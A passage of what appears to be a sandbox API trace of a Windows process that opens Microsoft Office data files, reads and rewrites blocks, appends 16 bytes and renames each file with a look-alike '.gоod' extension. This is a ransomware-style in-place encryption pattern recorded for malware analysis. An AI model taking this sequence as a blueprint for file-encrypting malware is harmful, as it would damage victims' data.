returned 0x1 [0158.193] ReadFile (in: hFile=0x650, lpBuffer=0x3491ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x3491ad8*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0158.219] CloseHandle (hObject=0x650) returned 1 [0158.219] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemuiset.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemuiset.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4e [0158.220] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0158.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemuiset.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\officemuiset.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0158.220] GetFileType (hFile=0x650) returned 0x1 [0158.220] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0158.220] GetFileType (hFile=0x650) returned 0x1 [0158.220] WriteFile (in: hFile=0x650, lpBuffer=0x34907f8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x34907f8*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0158.220] CloseHandle (hObject=0x650) returned 1 [0158.220] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemuiset.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemuiset.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4e [0158.220] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemuiset.msi.16.en-us.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemuiset.msi.16.en-us.tree.dat.gоod", lpFilePart=0x0) returned 0x53 [0158.220] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0158.220] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemuiset.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\officemuiset.msi.16.en-us.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd054bfa0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd054bfa0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5a83f4be, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x11f2)) returned 1 [0158.220] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0158.220] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemuiset.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\officemuiset.msi.16.en-us.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\officemuiset.msi.16.en-us.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\officemuiset.msi.16.en-us.tree.dat.gоod")) returned 1 [0158.221] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x56 [0158.221] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0158.221] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\onenote.x-none.msi.16.x-none.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x350ef70 | out: lpFileInformation=0x350ef70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83995e7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83995e7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x843b7e4f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11bd8)) returned 1 [0158.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0158.222] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x56 [0158.222] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0158.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\onenote.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0158.222] GetFileType (hFile=0x650) returned 0x1 [0158.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0158.222] GetFileType (hFile=0x650) returned 0x1 [0158.222] SetFilePointer (in: hFile=0x650, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0158.222] ReadFile (in: hFile=0x650, lpBuffer=0x350f438, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x350f438*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0158.378] CloseHandle (hObject=0x650) returned 1 [0158.378] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x56 [0158.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0158.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\onenote.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0158.380] GetFileType (hFile=0x650) returned 0x1 [0158.380] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0158.413] GetFileType (hFile=0x650) returned 0x1 [0158.413] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x11bd8 [0158.413] WriteFile (in: hFile=0x650, lpBuffer=0x34d4f90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x34d4f90*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0158.414] CloseHandle (hObject=0x650) returned 1 [0158.414] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x56 [0158.414] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0158.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\onenote.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0158.414] GetFileType (hFile=0x650) returned 0x1 [0158.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0158.414] GetFileType (hFile=0x650) returned 0x1 [0158.414] ReadFile (in: hFile=0x650, lpBuffer=0x34d7c08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x34d7c08*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0158.443] CloseHandle (hObject=0x650) returned 1 [0158.443] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x56 [0158.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0158.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\onenote.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0158.443] GetFileType (hFile=0x650) returned 0x1 [0158.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0158.443] GetFileType (hFile=0x650) returned 0x1 [0158.443] WriteFile (in: hFile=0x650, lpBuffer=0x34d6908*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x34d6908*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0158.444] CloseHandle (hObject=0x650) returned 1 [0158.444] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x56 [0158.444] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.boot.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.boot.tree.dat.gоod", lpFilePart=0x0) returned 0x5b [0158.444] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0158.444] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\onenote.x-none.msi.16.x-none.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83995e7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83995e7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5aa7b583, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x11be8)) returned 1 [0158.444] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0158.444] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\onenote.x-none.msi.16.x-none.boot.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.boot.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\onenote.x-none.msi.16.x-none.boot.tree.dat.gоod")) returned 1 [0158.445] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x51 [0158.445] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0158.445] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\onenote.x-none.msi.16.x-none.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x3557618 | out: lpFileInformation=0x3557618*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcfa45126, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcfa45126, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0251012, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1c425)) returned 1 [0158.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0158.674] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x51 [0158.674] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0158.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\onenote.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0158.675] GetFileType (hFile=0x650) returned 0x1 [0158.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0158.675] GetFileType (hFile=0x650) returned 0x1 [0158.675] SetFilePointer (in: hFile=0x650, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0158.675] ReadFile (in: hFile=0x650, lpBuffer=0x3491f20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x3491f20*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0158.676] CloseHandle (hObject=0x650) returned 1 [0158.676] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x51 [0158.676] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0158.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\onenote.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0158.677] GetFileType (hFile=0x650) returned 0x1 [0158.677] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0158.677] GetFileType (hFile=0x650) returned 0x1 [0158.677] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1c425 [0158.677] WriteFile (in: hFile=0x650, lpBuffer=0x34934c0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x34934c0*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0158.678] CloseHandle (hObject=0x650) returned 1 [0158.678] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x51 [0158.678] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0158.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\onenote.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0158.678] GetFileType (hFile=0x650) returned 0x1 [0158.678] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0158.678] GetFileType (hFile=0x650) returned 0x1 [0158.678] ReadFile (in: hFile=0x650, lpBuffer=0x3495b50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x3495b50*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0158.718] CloseHandle (hObject=0x650) returned 1 [0158.718] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x51 [0158.718] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0158.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\onenote.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0158.718] GetFileType (hFile=0x650) returned 0x1 [0158.718] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0158.718] GetFileType (hFile=0x650) returned 0x1 [0158.718] WriteFile (in: hFile=0x650, lpBuffer=0x3494860*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x3494860*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0158.718] CloseHandle (hObject=0x650) returned 1 [0158.718] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x51 [0158.719] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.tree.dat.gоod", lpFilePart=0x0) returned 0x56 [0158.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0158.719] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\onenote.x-none.msi.16.x-none.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcfa45126, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcfa45126, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5ad04433, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1c435)) returned 1 [0158.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0158.719] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\onenote.x-none.msi.16.x-none.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\onenote.x-none.msi.16.x-none.tree.dat.gоod")) returned 1 [0158.720] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x51 [0158.720] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0158.720] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\onenotemui.msi.16.en-us.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x3513348 | out: lpFileInformation=0x3513348*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83995e7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83995e7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x38ba)) returned 1 [0158.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0158.720] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x51 [0158.720] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0158.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\onenotemui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0158.720] GetFileType (hFile=0x650) returned 0x1 [0158.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0158.720] GetFileType (hFile=0x650) returned 0x1 [0158.720] SetFilePointer (in: hFile=0x650, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0158.721] ReadFile (in: hFile=0x650, lpBuffer=0x35137f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x35137f0*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0159.127] CloseHandle (hObject=0x650) returned 1 [0159.127] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x51 [0159.127] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0159.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\onenotemui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0159.127] GetFileType (hFile=0x650) returned 0x1 [0159.127] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0159.127] GetFileType (hFile=0x650) returned 0x1 [0159.127] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x38ba [0159.127] WriteFile (in: hFile=0x650, lpBuffer=0x36496a0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x36496a0*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0159.128] CloseHandle (hObject=0x650) returned 1 [0159.142] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x51 [0159.142] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0159.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\onenotemui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0159.142] GetFileType (hFile=0x7dc) returned 0x1 [0159.143] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0159.143] GetFileType (hFile=0x7dc) returned 0x1 [0159.143] ReadFile (in: hFile=0x7dc, lpBuffer=0x343eaa8, 